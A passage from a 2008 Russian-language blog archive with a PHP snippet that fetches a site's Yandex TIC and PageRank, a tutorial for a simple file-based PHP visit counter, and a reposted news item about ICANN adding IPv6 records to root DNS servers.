$data=curl_exec($ch);
curl_close($ch);

preg_match(’#CY=([0-9]+);#i’, $data, $t);
$ret[’cy’]=@$t[1];

preg_match(’#PR=([0-9]+);#i’, $data, $t);
$ret[’pr’]=@$t[1];

return $ret;
}
?>

Для вызова используется команда:
$r = detectCyPr(’http://www.yandex.ru’);
// естественно, вместо атрибута подставьте свой адрес

echo ‘ИЦ: ‘ . $r[’cy’] . ‘, PR: ‘ . $r[’pr’];
// в $r[’cy’] содержится ИЦ, а в $r[’pr’] — PR.

Вот так. В общем-то всё легко и просто, пользуйтесь на здоровье.

Источник http://cy-pr.net.ru

Tags: Google, Page Pank, php, скрипт, тИЦ

Добавить комментарий Февраль 25, 2008

Счетчик на php

Итак, сегодня вы узнаете как сделать счетчик на php без использования mysql своими руками. Счетчик - это незаменимая вещь, которая есть на каждом сайте. Конечно, можно пользоваться услугами таких компаний как spylog, rambler, mail, hotlog, чтобы вести подробную статистику вашего сайта, но, согласитесь, гораздо приятней использовать свой счетчик.

Наш счетчик будет считать количество обращений к страничке. Чтобы вы поняли что и в каком порядке будет происходить, я написал нечто вроде плана:

1. Пользователь заходит и запускается скрипт.
2. Открывается файл статистики счётчика.
3. Считывается последнее значение в файле.
4. Значение увеличивается на 1.
5. Значение записывается в файл статистики и файл закрывается.
6. Вывод значения.

Теперь пишем счетчик. По ходу создания счетчика я буду пояснять что я делаю.


<?php

$file = “count.dat”; // указываю на файл статистики

$farray = file($file); // представляю файл статистики как массив

if (!isset($farray[0]) || empty($farray[0])) { $farray[0] = 0; } //проверяю есть значение счетчика в файле, если нет, то присваиваю нулевое значение

$farray[0]++; // увеличиваем значение счётчика на 1

$fop = fopen($file,”w+”); // открываем файл статистики (+ - означает, что если файла не существует, то он будет создан)

flock($fop,2); //блокирую файл, чтобы больше никто не смог к нему обратиться

fputs($fop,$farray[0]); //записываю увелченное число обращений

flock($fop,3); //разблокирую файл статистики

fclose($fop); //закрываю файл статистики

echo $farray[0]; // вывод значения счётчика

?>

Ну вот вы и научились писать самый простой счетчик на php. Внимание, во избежание ошибок не забудьте перед использованием счетчика создать файл count.dat.

Автор: Шенин Юрий

Источник: www.domovoy.org

Tags: php, Счетчик

Добавить комментарий Февраль 24, 2008

В интернете началась тотальная замена IP-адресов

Сегодня ночью организация ICANN, осуществляющая надзор за использованием интернет-протоколов, начала добавлять в DNS-сервера записи, содержащие адреса в формате протокола IPv6, что означает присвоение каждому новому доменному имени адреса в новом усовершенствованном формате.

Записи, добавленные пока что лишь в шесть из тринадцати корневых DNS-серверов, положат начало готовившемуся несколько лет переходу с нынешнего протокола IPv4 на более современный IPv6. Это коренным образом изменит всю адресацию интернет-пространства.

Так, если раньше на интернет-адрес приходилось четыре байта или 32 бита, что соответствует четырем блокам в IP-адресе, то протокол IPv6 выделяет на адрес 128 бит. Это соответствует 340 триллионам триллионов триллионов адресов (3,4×1038) или по 5×1028 адресов на каждого из ныне живущих людей.

Первый стандарт адресации, IMP, начал использоваться в 1969 году и подразумевал нахождение в сети всего 32 узлов. В 1974 году документ RFC 675 ввел адресное пространство, состоящее из 16 сетевых адресов и 256 узлов - хост-адресов.

В 1981 году был принят стандарт IPv4, который используется до сих пор. Он допускает создание более чем четырех миллиардов адресов. Все это адресное пространство уже заполнено на 86 процентов. При нынешних темпах развития сети адреса иссякнут к 2010 году.

В то же время разработчики Web 3.0 предложили новую концепцию развития интернета, которая подразумевает разделение личности пользователя и его IP-адреса. Согласно этой концепции, данные будут доставляться перемещающимся из сети в сеть интернетчикам все время по разным маршрутам.

Источник http://korrespondent.net

Tags: DNS, domain, IP, Интернет

Добавить комментарий Февраль 24, 2008


Календарь

Февраль 2008
Пн Вт Ср Чт Пт Сб Вс
    Март »
 123
45678910
11121314151617
18192021222324
2526272829  

Записи по месяцам

Записи по рубрикам

Бегун